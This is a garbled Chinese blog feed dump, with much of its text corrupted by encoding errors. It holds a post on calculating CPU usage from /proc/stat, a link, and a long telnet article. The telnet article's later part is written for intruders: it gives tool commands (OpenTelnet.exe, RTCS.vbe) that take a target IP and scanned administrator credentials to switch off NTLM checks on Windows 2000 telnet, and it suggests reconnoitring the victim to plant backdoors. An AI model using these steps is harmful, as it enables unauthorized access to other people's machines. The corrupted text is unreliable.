?span lang="EN-US">Linuxpȝ中,CPU旉的分配信息保存在/proc/stat文g中,利用率的计算应该从这个文件中获取数据。文件的头几行记录了每个CPU的用h,pȝ态,I闲态等状态下分配的时间片Q单位是JiffiesQ,q些数据是从CPU加电到当前的累计倹{常用的监控软g是利用/proc/stat里面的这些数据来计算CPU的利用率的?span lang="EN-US">

不同版本?span lang="EN-US">linux /proc/stat文g内容不一P?span lang="EN-US">Linux 2.6来说Q?span lang="EN-US">/proc/stat文g的内容如下:

 

cpu 2032004 102648 238344 167130733 758440 15159 17878 0

cpu0 1022597 63462 141826 83528451 366530 9362 15386 0

cpu1 1009407 39185 96518 83602282 391909 5796 2492 0

intr 303194010 212852371 3 0 0 11 0 0 2 1 1 0 0 3 0 11097365 0 72615114 6628960 0 179 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

ctxt 236095529

btime 1195210746

processes 401389

procs_running 1

procs_blocked 0

 

W一行的数DC的?span lang="EN-US">CPUȝ使用情况Q所以我们只要用W一行的数字计算可以了。下表解析第一行各数值的含义Q?span lang="EN-US">

参数

解析Q单位:jiffiesQ?/span>

user (2032004)

从系l启动开始篏计到当前时刻Q用h的CPU旉Q不包含 nicegؓ负进E?span lang="EN-US">

nice (102648)

从系l启动开始篏计到当前时刻Q?span lang="EN-US">nicegؓ负的q程所占用?span lang="EN-US">CPU旉

system (238344)

从系l启动开始篏计到当前时刻Q核心时?span lang="EN-US">

idle (167130733)

从系l启动开始篏计到当前时刻Q除IO{待旉以外其它{待旉

iowait (758440)

从系l启动开始篏计到当前时刻Q?span lang="EN-US">IO{待旉

irq (15159)

从系l启动开始篏计到当前时刻Q硬中断旉

softirq (17878)

从系l启动开始篏计到当前时刻QY中断旉

 

 

因ؓ/proc/stat中的数值都是从pȝ启动开始篏计到当前时刻的积累|所以需要在不同旉?span lang="EN-US">t1?span lang="EN-US">t2取D行比较运,当两个时间点的间隔较短时Q就可以把这个计结果看作是CPU的即时利用率?span lang="EN-US">

 

CPU的即时利用率的计公式:

CPU?span lang="EN-US">t1?span lang="EN-US">t2旉D|ȝ使用旉 = ( user2+ nice2+ system2+ idle2+ iowait2+ irq2+ softirq2) - ( user1+ nice1+ system1+ idle1+ iowait1+ irq1+ softirq1)

CPU?span lang="EN-US">t1?span lang="EN-US">t2旉D늩闲用时?span lang="EN-US"> = (idle2 - idle1)

CPU?span lang="EN-US">t1?span lang="EN-US">t2旉D即时利用率 =  1 - CPUI闲使用旉 / CPUȝ使用旉

 

q些值是谁,什么时候记录的呢?

每次timer的中断就会记录一ơ,记录?span lang="EN-US">struct cpu_usage_stat 里,实现?span lang="EN-US">timer_tick ->update_process_times里?/pre>
那么它的_ֺ是HZ,如果HZ?span lang="EN-US">100Q就意味着?span lang="EN-US">S记录100ơ。这个精度当然是不高的,而且Ҏ出错Q下面是?span lang="EN-US">Documentation/cpu-load.txt中的一个例子:
  time line between two timer interrupts
 |--------------------------------------|
 ^                                    ^
 |_ user appA begins working          |
                                      |_ user appA goes to sleep
l果q个A的动作没有被记录下来Q这一S有可能被记录到其他的头上。如果你做的E序正好是那个其他,你就会抱怨说Q这真是一陀屎呀?/pre>
那么有没有高_ֺ的记录呢Q?/pre>
有,但是要自己写Q就你?span lang="EN-US">oprofile之类的,他的原理也是?span lang="EN-US">timer_interrupt记录的,你可以用其他的高_ֺtimerQ但是,频繁的中断会把系l弄歅R所以要自己写,假设有一个高_ֺ的硬?span lang="EN-US">counterQ好?span lang="EN-US">x86下的TimeStamp CounterQ?span lang="EN-US">
?span lang="EN-US">cpu_idle 里记?span lang="EN-US">idle的时_?span lang="EN-US">asm_do_IRQ里记录处?span lang="EN-US">irq的时_?span lang="EN-US">context_switch记录q入了那?span lang="EN-US">processQ以及时_?span lang="EN-US">__do_softirq里记录处?span lang="EN-US">softirq的时_把这些东西记录在一块全局数组里?span lang="EN-US">



Kevin_Zhang 2010-11-10 09:31 发表评论
]]>linux c 函数?/title><link>http://www.shnenglu.com/zzfmars/archive/2010/11/09/133123.html</link><dc:creator>Kevin_Zhang</dc:creator><author>Kevin_Zhang</author><pubDate>Tue, 09 Nov 2010 13:45:00 GMT</pubDate><guid>http://www.shnenglu.com/zzfmars/archive/2010/11/09/133123.html</guid><wfw:comment>http://www.shnenglu.com/zzfmars/comments/133123.html</wfw:comment><comments>http://www.shnenglu.com/zzfmars/archive/2010/11/09/133123.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zzfmars/comments/commentRss/133123.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zzfmars/services/trackbacks/133123.html</trackback:ping><description><![CDATA[<div style="background-color: #eeeeee; font-size: 13px; border: 1px solid #cccccc; padding: 4px 5px 4px 4px; width: 98%;"><!--<br><br>Code highlighting produced by Actipro CodeHighlighter (freeware)<br>http://www.CodeHighlighter.com/<br><br>--><span style="color: #000000;">http:</span><span style="color: #008000;">//</span><span style="color: #008000;">net.pku.edu.cn/~yhf/linux_c/</span></div> linux c 函数?br><img src ="http://www.shnenglu.com/zzfmars/aggbug/133123.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/zzfmars/" target="_blank">Kevin_Zhang</a> 2010-11-09 21:45 <a href="http://www.shnenglu.com/zzfmars/archive/2010/11/09/133123.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>telnet命o的用详?/title><link>http://www.shnenglu.com/zzfmars/archive/2010/11/07/132838.html</link><dc:creator>Kevin_Zhang</dc:creator><author>Kevin_Zhang</author><pubDate>Sun, 07 Nov 2010 01:42:00 GMT</pubDate><guid>http://www.shnenglu.com/zzfmars/archive/2010/11/07/132838.html</guid><wfw:comment>http://www.shnenglu.com/zzfmars/comments/132838.html</wfw:comment><comments>http://www.shnenglu.com/zzfmars/archive/2010/11/07/132838.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/zzfmars/comments/commentRss/132838.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/zzfmars/services/trackbacks/132838.html</trackback:ping><description><![CDATA[使用telnet<span id="ig8eaqe" class=t_tag onclick=tagshow(event) href="tag.php?name=%C3%FC%C1%EE">命o</span><span id="08w0sma" class=t_tag onclick=tagshow(event) href="tag.php?name=%B7%C3%CE%CA">讉K</span>q程<span id="w8wkwms" class=t_tag onclick=tagshow(event) href="tag.php?name=%BC%C6%CB%E3%BB%FA">计算?/span> <br>  <span id="oqk6wo0" class=t_tag onclick=tagshow(event) href="tag.php?name=%D3%C3%BB%A7">用户</span>使用telnet命oq行q程d。该命o允许用户使用telnet协议在远E计机之间q行通信Q用户可以通过<span id="eoywg88" class=t_tag onclick=tagshow(event) href="tag.php?name=%CD%F8%C2%E7">|络</span>在远E计机上登录,像d到本地机上执行命令一栗ؓ了通过telnetd到远E计机上,必须知道q程Z的合法用户名和口令?br>  虽然有些<span id="u88ewmw" class=t_tag onclick=tagshow(event) href="tag.php?name=%CF%B5%CD%B3">pȝ</span>实E用h供登录功能,但出于对安全的考虑Q要限制来宾的操作权限,因此Q这U情况下能用的功能是很的。当允许q程用户dӞpȝ通常把这些用h在一个受限制的shell中,以防pȝ被怀有恶意的或不心的用L坏。用戯可以使用telnet从远E站点登录到自己的计机上,查电?span class=t_tag onclick=tagshow(event) href="tag.php?name=%D3%CA%BC%FE">邮g</span>、编?span class=t_tag onclick=tagshow(event) href="tag.php?name=%CE%C4%BC%FE">文g</span>和运?span class=t_tag onclick=tagshow(event) href="tag.php?name=%B3%CC%D0%F2">E序</span>Q就像在本地d一栗?<br>  但是Q用户只能用基于终端的环境而不是X Wndows环境Qtelnet只ؓ普通终端提供终端仿真,而不支持 X Wndow{图形环境?<br><br>  telnet命o的一般Ş式ؓQ?br>telnet <span id="yi8w80o" class=t_tag onclick=tagshow(event) href="tag.php?name=%D6%F7%BB%FA">L</span>?IP 其中“L?IP”是要q接的远E机的主机名或IP<span id="i8icmc0" class=t_tag onclick=tagshow(event) href="tag.php?name=%B5%D8%D6%B7">地址</span>?br>例: telnet 192.168.0.1<br>如果q一命o执行成功Q将从远E机上得到loginQ?span class=t_tag onclick=tagshow(event) href="tag.php?name=%CC%E1%CA%BE">提示</span>W?br>  使用telnet命od的过E如下:$ telnet L?IP 启动telnet会话?<br>一旦telnet成功地连接到q程pȝ上,显C登录信息ƈ提示用户输h用户名和口o。如果用户名和口令输入正,p成功dq在q程pȝ上工作。在telnet提示W后面可以输入很多命令,用来控制telnet会话q程Q在telnet联机帮助手册中对q些命o有详l的说明?<br>  下面是一台Linux计算Z的telnet会话举例Q?<br>  $ telnet <span id="wya000c" class=t_tag onclick=tagshow(event) href="tag.php?name=server">server</span>. somewhere. com Trying 127.0.0.1… Connected to serve. somewhere. com. Escape character is \';?]\';. “TurboLinux release 4. 0 QColgateQ?br>  kernel 2.0.18 on an I486 <br>  login: bubba password: Last login:Mon Nov l5 20:50:43 for localhost Linux 2. 0.6. QPosixQ? server: ~$ server: ~$ logout Connection closed by foreign host $ <br>  用户l束了远E会话后Q一定要保使用logout命o退E系l。然后telnet报告q程会话被关闭,q返回到用户的本地机的Shell提示W下?br>  r-pd命o 除ftp和telnet以外Q还可以使用r-pd命o讉Kq程计算机和在网l上交换文g。用r-pd命o需要特别注意,因ؓ如果用户不小心,׃造成严重的安全漏z。用户发Z个r-pd命o后,q程pȝ查名?etc/hosts.equiv的文Ӟ以查看用LL是否列在q个文g中。如果它没有扑ֈ用户的主机,检查远E机上同名用Lȝ录中名ؓQrhosts的文Ӟ看是否包括该用户的主机。如果该用户的主机包括在q两个文件中的Q何一个之中,该用h行r-pd命o׃用提供口令?<br>  虽然用户每次讉Kq程机时不用键入口o可能是非常方便的Q但是它也可能会带来严重的安全问题。我们徏议用户在建立/etc/hosts.equiv?rhosts文g之前Q仔l考虑r-命o隐含的安全问题?<br><br><br>****************************************************** <br>telnet命o的用详?br>一 摘要 <br><br>  Telnet的应用不仅方便了我们q行q程dQ也lhacker们提供了又一U入侉|D和后门Q但无论如何Q在你尽情n受Telnet所带给你的便捷的同Ӟ你是否真正的了解Telnet呢? <br><br>  ?q程d <br><br>  Telnet<span id="ss8wywi" class=t_tag onclick=tagshow(event) href="tag.php?name=%B7%FE%CE%F1">服务</span>虽然也属于客h/<span id="qauaukk" class=t_tag onclick=tagshow(event) href="tag.php?name=%B7%FE%CE%F1%C6%F7">服务?/span>模型的服务,但它更大的意义在于实CZTelnet协议的远E登录(q程交互式计)Q那么就让我们来认识一下远E登录?<br><br>  1 q程<span id="8s0e8mi" class=t_tag onclick=tagshow(event) href="tag.php?name=%B5%C7%C2%BD">登陆</span>的基本概?<br><br>  先来看看什么叫dQ分时系l允许多个用户同时用一台计机Qؓ了保证系l的安全和记帐方便,pȝ要求每个用户有单独的帐号作ؓd标识Q系l还为每个用h定了一个口令。用户在使用该系l之前要输入标识和口令,q个q程被称?;d';?<br><br>  q程登陆是指用户使用Telnet命oQ自己的计机暂时成ؓq程L的一个仿真终端的q程。仿真终端等效于一个非?span class=t_tag onclick=tagshow(event) href="tag.php?name=%BB%FA%C6%F7">机器</span>Q它只负责把用户输入的每个字W传递给LQ再主出的每个信息回显在屏q上?<br><br>  2 q程登陆的生及发展 <br><br>  我们可以先构想一个提供远E文字编辑的服务Q这个服务的实现需要一个接受编辑文件请求和<span id="wg8a0ay" class=t_tag onclick=tagshow(event) href="tag.php?name=%CA%FD%BE%DD">数据</span>的服务器以及一个发送此h的客h。客h徏立一个从本地机到服务器的TCPq接Q当然这需要服务器的应{,然后向服务器发送键入的信息Q文件编辑信息)Qƈd从服务器q回的输出。以上便是一个标准而普通的客户?服务器模型的服务?<br><br>  g有了客户?服务器模型的服务Q一切远E问题都可以<span id="8ui0s8m" class=t_tag onclick=tagshow(event) href="tag.php?name=%BD%E2%BE%F6">解决</span>了。然而实际ƈ非你惌的那L单,如果我们仅需要远E编辑文Ӟ那么刚才所构想的服务完全可以胜任,但假如我们的要求q不是这么简单,我们q想实现q程用户<span id="iikic8i" class=t_tag onclick=tagshow(event) href="tag.php?name=%B9%DC%C0%ED">理</span>Q远E数据录入,q程pȝl护Q想实现一切可以在q程L上实现的操作Q那么我们将需要大量专用的服务器程序ƈ为每一个可计算服务都用一个服务器q程Q随之而来的问题是Q远E机器会很快Ҏ务器q程应接不暇QƈҎ在进E的h里(我们在这里排除最专业化的q程机器Q?<br><br>  那么有没?span class=t_tag onclick=tagshow(event) href="tag.php?name=%B0%EC%B7%A8">办法</span>解决呢?当然有,我们可以用远E登录来解决q一切。我们允许用户在q地机器上徏立一个登录会话,然后通过执行命o来实现更一般的服务Q就像在本地操作一栗这P我们便可以访问远地系l上所有可用的命oQƈ且系l设计员不需提供多个专用地服务器E序?<br><br>  问题发展到这里好像前途一片光明了Q用q程dd该解决问题了吧,但要实现q程登陆q不单。不考虑|络设计的计机pȝ期望用户只从直接相连的键盘和昄器上dQ在q种机器上增加远E登陆功能需要修Ҏ器的操作pȝQ这是极其艰巨也是我们尽量避免的。因此我们应该集中力量构造远E登陆服务器<span id="0k8c0wm" class=t_tag onclick=tagshow(event) href="tag.php?name=%C8%ED%BC%FE">软g</span>Q虽然这样也是比较困隄。ؓ什么说q样做也比较困难呢? <br><br>  举个例子来说Q一般,操作pȝ会ؓ一些特D按键分配特D的含义Q比如本地系l将';Ctrl+C';解释为:';l止当前q行的命令进E?;。但假设我们已经q行了远E登陆服务器软gQ?;Ctrl+C';也有可能无法被传送到q地机器Q如果客h真的?;Ctrl+C';传到了远地机器,那么';Ctrl+C';q个命o有可能不能终止本地的q程Q也是说在q里很可能会产生混ؕ。而且q仅仅是遇到的难题之一?<br><br>  但尽有<span id="s0kuqeu" class=t_tag onclick=tagshow(event) href="tag.php?name=%BC%BC%CA%F5">技?/span>上的困难Q系l编Eh员还是设法构造了能够应用于大多数操作pȝ的远E登陆服务器软gQƈ构造了充当客户机的应用软g。通常Q客h软g取消了除一个键以外的所有键的本地解释,q将q些本地解释相应的{换成q地解释Q这׃得客h软g与远地机器的交互Q就如同坐在q程L面前一P从而避免了上述所提到的؜乱。而那个唯一例外的键Q可以用户回到本地环境?<br><br>  远E登陆服务器设计为应用软gQ还有另一个要求,那就是需要操作系l提供对伪终端(pseudo terminalQ的支持。我们用伪终端描q操作系l的入口点,它允许像Telnet服务器一LE序向操作系l传送字W,q且使得字符像是来自本地键盘一栗只有用这L操作pȝQ才能将q程登陆服务器设计ؓ应用UYӞ比如Telnet服务器YӞQ否则,本地操作pȝ和远地系l传送将不能识别从对方传送过来的信息Q因为它们仅能识别从本地键盘所键入的信息)Q远E登陆将宣告p|?<br><br>  远E登陆服务器设计为应用软g虽然有其显著的优点:比将<span id="qs800yo" class=t_tag onclick=tagshow(event) href="tag.php?name=%B4%FA%C2%EB">代码</span>嵌入操作pȝ更易修改和控制服务器。但其也有效率不高的~点Q后面的内容会l予解释Q,好在用户键入信息的速率不高Q这U设计还是可以接受的?<br><br>  3 q程d的工作过E?<br><br>  使用Telnet协议q行q程登陆旉要满以下条Ӟ在本的计机上必装有包含Telnet协议的客L序;必须知道q程L的Ip地址?span class=t_tag onclick=tagshow(event) href="tag.php?name=%D3%F2%C3%FB">域名</span>Q必ȝ道登录标识与口o?<br><br>  Telnetq程d服务分ؓ以下4个过E: <br><br>  1Q本Cq程L建立q接。该q程实际上是建立一个TCPq接Q用户必ȝ道远E主机的Ip地址或域名; <br><br>  2Q将本地l端上输入的用户名和口o及以后输入的M命o或字W以NVTQNet Virtual TerminalQ格式传送到q程L。该q程实际上是从本C机向q程L发送一个IP数据报; <br><br>  3Q将q程L输出的NVT格式的数据{化ؓ本地所接受的格式送回本地l端Q包括输入命令回昑֒命o执行l果Q?<br><br>  4Q最后,本地l端对远E主行撤消连接。该q程是撤销一个TCPq接?<br><br>  上面的内容只?span class=t_tag onclick=tagshow(event) href="tag.php?name=%CC%D6%C2%DB">讨论</span>了远E登陆最基本的东西,其中的复杂和~程人员的艰辛是我们难以惌的,不知道你在舒服的使用Telnet的同Ӟ是否惛_了这些! <br><br>  ?Telnet协议 <br><br>  我们知道Telnet服务器Y件是我们最常用的远E登录服务器软gQ是一U典型的客户?服务器模型的服务Q它应用Telnet协议来工作。那么,什么是Telnet协议Q它都具备哪些特点呢Q?<br><br>  1 基本内容 <br><br>  Telnet协议是TCP/IP协议族中的一员,是Internetq程登陆服务的标准协议。应用Telnet协议能够把本地用h使用的计机变成q程Lpȝ的一个终端。它提供了三U基本服务: <br><br>  1QTelnet定义一个网l虚拟终端ؓq的pȝ提供一个标准接口。客hE序不必详细了解q的pȝQ他们只需构造用标准接口的E序Q?<br><br>  2QTelnet包括一个允许客h和服务器协商选项的机Ӟ而且它还提供一l标准选项Q?<br><br>  3QTelnet对称处理q接的两端,即Telnet不强q客h从键盘输入,也不客户机在屏幕上显C出?<br><br>  2 适应异构 <br><br>  Z使多个操作系l间的Telnet交互操作成ؓ可能Q就必须详细了解异构计算机和操作pȝ。比如,一些操作系l需要每行文本用ASCII回R控制W(CRQ结束,另一些系l则需要用ASCII换行W(LFQ,q有一些系l需要用两个字符的序列回?换行QCR-LFQ;再比如,大多数操作系lؓ用户提供了一个中断程序运行的快捷键,但这个快捷键在各个系l中有可能不同(一些系l用CTRL+CQ而另一些系l用ESCAPEQ。如果不考虑pȝ间的异构性,那么在本地发出的字符或命令,传送到q地q被q地pȝ解释后很可能会不准确或者出现错误。因此,Telnet协议必须解决q个问题?<br><br>  Z适应异构环境QTelnet协议定义了数据和命o在Internet上的传输方式Q此定义被称作网l虚拟终端NVTQNet Virtual TerminalQ。它的应用过E如下: <br><br>  对于发送的数据Q客h软g把来自用L端的按键和命令序列{换ؓNVT格式Qƈ发送到服务器,服务器Y件将收到的数据和命oQ从NVT格式转换地系l需要的格式Q?<br>  对于q回的数据:q地服务器将数据从远地机器的格式转换为NVT格式Q而本地客h将接收到的NVT格式数据再{换ؓ本地的格式?<br>  对于NVT格式的详l定义,有兴的<span id="8o0sg80" class=t_tag onclick=tagshow(event) href="tag.php?name=%C5%F3%D3%D1">朋友</span>可以L扄兌料?<br><br>  3 传送远地命?<br><br>  我们知道l大多数操作pȝ都提供各U快捷键来实现相应的控制命oQ当用户在本地终端键入这些快捷键的时候,本地pȝ执行相应的控制命oQ而不把这些快捷键作ؓ输入。那么对于Telnet来说Q它是用什么来实现控制命o的远C送呢Q?<br><br>  Telnet同样使用NVT来定义如何从客户机将控制功能传送到服务器。我们知道USASCII字符集包?5个可打印字符?3个控制码。当用户从本地键入普通字W时QNVT按照其原始含义传送;当用户键入快捷键Q组合键Q时QNVT把它{化ؓҎ的ASCII字符在网l上传送,q在其到达远地机器后转化为相应的控制命o。将正常ASCII字符集与控制命o区分主要有两个原因: <br><br>  1Q这U区分意味着Telneth更大的灵zL:它可在客h与服务器间传送所有可能的ASCII字符以及所有控制功能; <br><br>  2Q这U区分得客h可以无二义性的指定信oQ而不会生控制功能与普通字W的混ؕ?<br><br>  4 数据向 <br><br>  上面我们提到q将Telnet设计为应用软g有一个缺点,那就是:效率不高。这是ؓ什么呢Q下面给出Telnet中的数据向Q?<br><br>  数据信息被用户从本地键盘键入q过操作pȝ传到客户机程序,客户机程序将其处理后q回操作pȝQƈ由操作系l经q网l传送到q地机器Q远地操作系l将所接收数据传给服务器程序,q经服务器程序再ơ处理后q回到操作系l上的伪l端入口点,最后,q地操作pȝ数据传送到用户正在q行的应用程序,q便是一ơ完整的输入q程Q输出将按照同一通\从服务器传送到客户机?<br><br>  因ؓ每一ơ的输入和输出,计算机将切换q程环境好几ơ,q个开销是很昂贵的。还好用L键入速率q不高Q这个缺Ҏ们仍然能够接受?<br><br>  5 强制命o <br><br>  我们应该考虑到这样一U情况:假设本地用户q行了远地机器的一个无休止循环的错误命令或E序Q且此命令或E序已经停止d输入Q那么操作系l的~冲区可能因此而被占满Q如果这Pq地服务器也无法再将数据写入伪终端,q且最l导致停止从TCPq接d数据QTCPq接的缓冲区最l也会被占满Q从而导致阻止数据流入此连接。如果以上事情真的发生了Q那么本地用户将失去对远地机器的控制?<br><br>  Z解决此问题,Telnet协议必须使用外带信o以便强制服务器读取一个控制命令。我们知道TCP用紧急数据机制实现外带数据信令,那么Telnet只要再附加一个被UCؓ数据标记(date mark)的保留八位组Qƈ通过让TCP发送已<span id="c88caq8" class=t_tag onclick=tagshow(event) href="tag.php?name=%C9%E8%D6%C3">讄</span>紧急数据比特的报文D通知服务器便可以了,携带紧急数据的报文D将l过量控制直接到达服务器。作为对紧急信令的相应Q服务器读取ƈ抛弃所有数据,直到扑ֈ了一个数据标记。服务器在遇C数据标记后将q回正常的处理过E?<br><br>  6 选项协商 <br><br>  ׃Telnet两端的机器和操作pȝ的异构性,使得Telnet不可能也不应该严D定每一个telnetq接的详l配|,否则大大媄响Telnet的适应异构性。因此,Telnet采用选项协商机制来解册一问题?<br><br>  Telnet选项的范围很q:一些选项扩充了大方向的功能,而一些选项制涉及一些微细节。例如:有一个选项可以控制Telnet是在半双工还是全双工模式下工作(大方向)Q还有一个选项允许q地机器上的服务器决定用L端类型(细节)?<br><br>  Telnet选项的协商方式也很有意思,它对于每个选项的处理都是对U的Q即M一端都可以发出协商<span id="w8o8y8w" class=t_tag onclick=tagshow(event) href="tag.php?name=%C9%EA%C7%EB">甌</span>QQ何一端都可以接受或拒l这个申诗另外,如果一端试囑֍商另一端不了解的选项Q接受请求的一端可单的拒绝协商。因此,有可能将更新Q更复杂的Telnet客户机服务器版本与较老的Q不太复杂的版本q行交互操作。如果客h和服务器都理解新的选项Q可能会对交互有所改善。否则,它们一赯{到效率较低但可工作的方式下运行。所有的q些设计Q都是ؓ了增强适应异构性,可见Telnet的适应异构性对其的应用和发展是多么重要?<br><br>  上面讨论了一些原理方面的东西Q虽然我们在Telnet的用过E中很难接触到这一层面Q但我认Z解这些是有意义的Q它会给我们带来许多启示。下面让我们来看看Win2000的Telnet服务?<br><br>  ?Win2000的Telnet服务 <br><br>  其实从应用层面上QWin2000的Telnet服务q没有什么可说的Q绝大部分内容你都可以从HELP文g中得刎ͼ我在此只是把它稍微整理一下而已?<br><br>  1 基本配置 <br><br>  Win2000为我们提供了Telnet客户机和服务器程序:Telnet.<span id="sau0isg" class=t_tag onclick=tagshow(event) href="tag.php?name=exe">exe</span>是客hE序QClientQ,tlntsvr.exe是服务器E序QserverQ,同时它还为我们提供了Telnet服务器管理程序tlntadmn.exe?<br><br>  Windows 2000 默认安装?Telnet 服务Q但是ƈ没有默认启动。下面给出HELP文g?Telnet 服务的一部分默认讄Q?<br><br>  AllowTrustedDomainQ是否允许域用户讉K。默认值是1Q允怿d用户讉K。可以改?: 不允许域用户讉KQ只允许本地用户Q?<br><br>  DefaultDomainQ可以对与该计算机具有信dpȝM域设|。默认值是"."?<br><br>  DefaultShellQ显C?shell 安装的\径位|。默认值是Q?%systemroot%System32Cmd.exe /q /k <br><br>  MaxFailedLoginsQ在q接l止之前昄试dp|的最大次数。默认是3?<br><br>  LoginScriptQ显C?Telnet 服务器登录脚本的路径位置。默认的位置是“%systemroot%System32login.cmd”Q你可以更改脚本内容Q这L录进Telnet的欢q屏q就不一样了?<br><br>  NTLMQNTLMw䆾验证选项。默认是2。可以有下面q些| <br>  0: 不?NTLM w䆾验证?<br>  1: 先尝?NTLM w䆾验证Q如果失败,再用用户名?span class=t_tag onclick=tagshow(event) href="tag.php?name=%C3%DC%C2%EB">密码</span>?<br>  2: 只?NTLM w䆾验证?<br><br>  TelnetPortQ显C?telnet 服务器侦?telnet h?span class=t_tag onclick=tagshow(event) href="tag.php?name=%B6%CB%BF%DA">端口</span>。默认是Q?3。你也可以更改ؓ其他端口?<br><br>  以上各项讄你可以用tlntadmn.exeQTelnet服务器管理程序)来进行非常方便的配置Q配|后需要重新启动Telnet服务。如? <br><br>  2 NTLM <br><br>  提到了telnet׃能不提NTLMQ我惌也是让入侵者最为头痛的一件事Q哪怕你获得了管理员帐号和密码,想简单通过NTLM也ƈ非易事,况且win2000中的telnet默认仅以NTLM方式验证w䆾Q这p我们不得不关注NTLMq个东东Q那么什么是NTLM呢? <br><br>  早期的SMB协议在网l上明文传输口oQ后来出C"LAN Manager Challenge/Response"验证机制Q简ULMQ它十分单以臛_Ҏ?span class=t_tag onclick=tagshow(event) href="tag.php?name=%C6%C6%BD%E2">破解</span>Q微软随后提ZWindowsNT挑战/响应验证机制Q即NTLM。现在已l有了更新的NTLMv2以及Kerberos验证体系。NTLM工作程是这LQ?<br><br>  1、客L首先在本地加密当前用L密码成ؓ密码散列 <br>  2、客L向服务器发送自q帐号Q这个帐h没有l过加密的,明文直接传输 <br>  3、服务器产生一?6位的随机数字发送给客户端,作ؓ一?challengeQ挑战) <br>  4、客L再用加密后的密码散列来加密这?challenge Q然后把q个q回l服务器。作?responseQ响应) <br>  5、服务器把用户名、给客户端的challenge 、客Lq回?response q三个东西,发送域控制?<br>  6、域控制器用q个用户名在 SAM密码理库中扑ֈq个用户的密码散列,然后使用q个密码散列来加?challenge?<br>  7、域控制器比较两ơ加密的 challenge Q如果一P那么认证成功?<br><br>  从上面的q程我们可以看出QNTLM是以当前用户的n份向Telnet服务器发送登录请求的Q而不是用你扫到的Ҏ理员的帐户和密码登录,昄Q你的登录将会失败。D个例子来_你家的机器名为AQ本地机器)Q你入R的机器名为BQ远地机器)Q你在A上的帐户是xinxinQ密码是1234Q你扫到B的管理员帐号是AdministratorQ密码是5678Q当你想Telnet到BӞNTLM?span class=t_tag onclick=tagshow(event) href="tag.php?name=%D7%D4%B6%AF">自动</span>以当前用L帐号和密码作为登录的凭据来进行上面的7Ҏ作,即用xinxin?234Q而ƈ非用你扫到的Administrator?678Q且q些都是自动完成的,Ҏ不给你插手的ZQ因此你的登录操作将p|?<br><br>  ׃Telnet服务器对NTLM的用有3个选项Q所以当你Telnetq地机器Ӟ会显CZ面情况中的一U: <br><br>  1)w䆾验证选项=0?<br>  ===================================== <br>  Microsoft (R) Windows (TM) Version 5.00 (Build 2195) <br>  Welcome to Microsoft Telnet Service <br>  Telnet Server Build 5.00.99201.1 <br>  login: <br>  password: <br><br>  \?时不使用NTMLw䆾验证Q直接输入用户名和密码,比如你可以输入扫到的Administrator?678 <br><br>  2)w䆾验证选项=1?<br>  ===================================== <br>  NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password <br>  Microsoft (R) Windows (TM) Version 5.00 (Build 2195) <br>  Welcome to Microsoft Telnet Service <br>  Telnet Server Build 5.00.99201.1 <br>  login: <br>  password: <br><br>  \先尝?NTLM w䆾验证Q如果失败,再用用户名和密码,其实q种方式对于我们来说Q与上一U方式没什么区?<br><br>  3)w䆾验证选项=2?<br>  ===================================== <br>  NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password <br>  Server allows NTLM authentication only <br>  Server has closed connection <br>  遗失对主机的q接?<br>  C:> <br><br>  \仔细看看上面的显C,Ҏ没有l你输入用户名和密码的机会,直接断开q接Q扫C密码也是白扫 <br><br>  所以对于入侵者来_NTLM是横在我们面前的一座大山,必须要除掉它Q一般我们有如下几种ҎQ?<br><br>  1通过修改q程注册表更改telnet服务器配|,验证方式从2改ؓ1?Q?<br>  2使用NTLM.exeQ上传后直接q行Q可telnet服务器验证方式从2改ؓ1Q?<br>  3在本地徏立扫描到的用P以此用户w䆾开启telnet客户机ƈq行q程dQ?<br>  4使用软gQ比如opentelnet.exeQ需要管理员权限且开启IPC道Q?<br>  5使用脚本Q如RTCSQ(需要管理员权限但不依赖IPC道Q?<br><br>  基本上是以上?U,其中后两U是我们比较常用的开telnet的手法,而且使用Ҏ十分单,命o如下Q?<br><br>  OpenTelnet.exe \server username password NTLMAuthor telnetport <br>  OpenTelnet.exe \服务器地址 理员用户名 密码 验证方式Q填0?Q?telnet端口 <br><br>  cscript RTCS.vbe targetIP username password NTLMAuthor telnetport <br>  cscript RTCS.vbe <目标IP> <理员用户名> <密码> <验证方式> <br><br>  ?在telnet中该做什?<br><br>  本来写到上面想l束了,不过许多朋友都说telnet上去后不知道该做什么了Q既然这P那我抛砖引玉吧Q这ơ不讲具体做法,只是说说思\Q什么?Z么不讲具体做法?幅不够嘛,以后我会一一解释的?<br><br>  1 查看pȝ信息 <br><br>  呵呵Q其实就是随处看看,看看他的pȝ配置和版本(用type c:oot.ini来知道pro版或server版)Q看看都装了什么服务或软gQ从目录名就可以知道了)Q看看有什么重要或有趣的文件啦Q唉Q要是国外的机器Q看也看不懂Q,看看他的用户情况QM是可能多的了解系l,Z会装后门摸底?<br><br>  2 使用tftp传送文?<br><br>  惛_大家都遇到过在telnet中传输文件的问题Q因为我们习惯了在ipc道中的文g传输Q所以有些朋友喜Ƣ用net share ipc$ 来打开道Q进而利用copy来传输文件。不q这样反而麻烦,既然我们已经得到了shellQ我们可以用TFPT命o来完成这一切,什么是T<span id="a8s00ow" class=t_tag onclick=tagshow(event) href="tag.php?name=FTP">FTP</span>呢? <br><br>  用TFTP(Trivial File Transfer 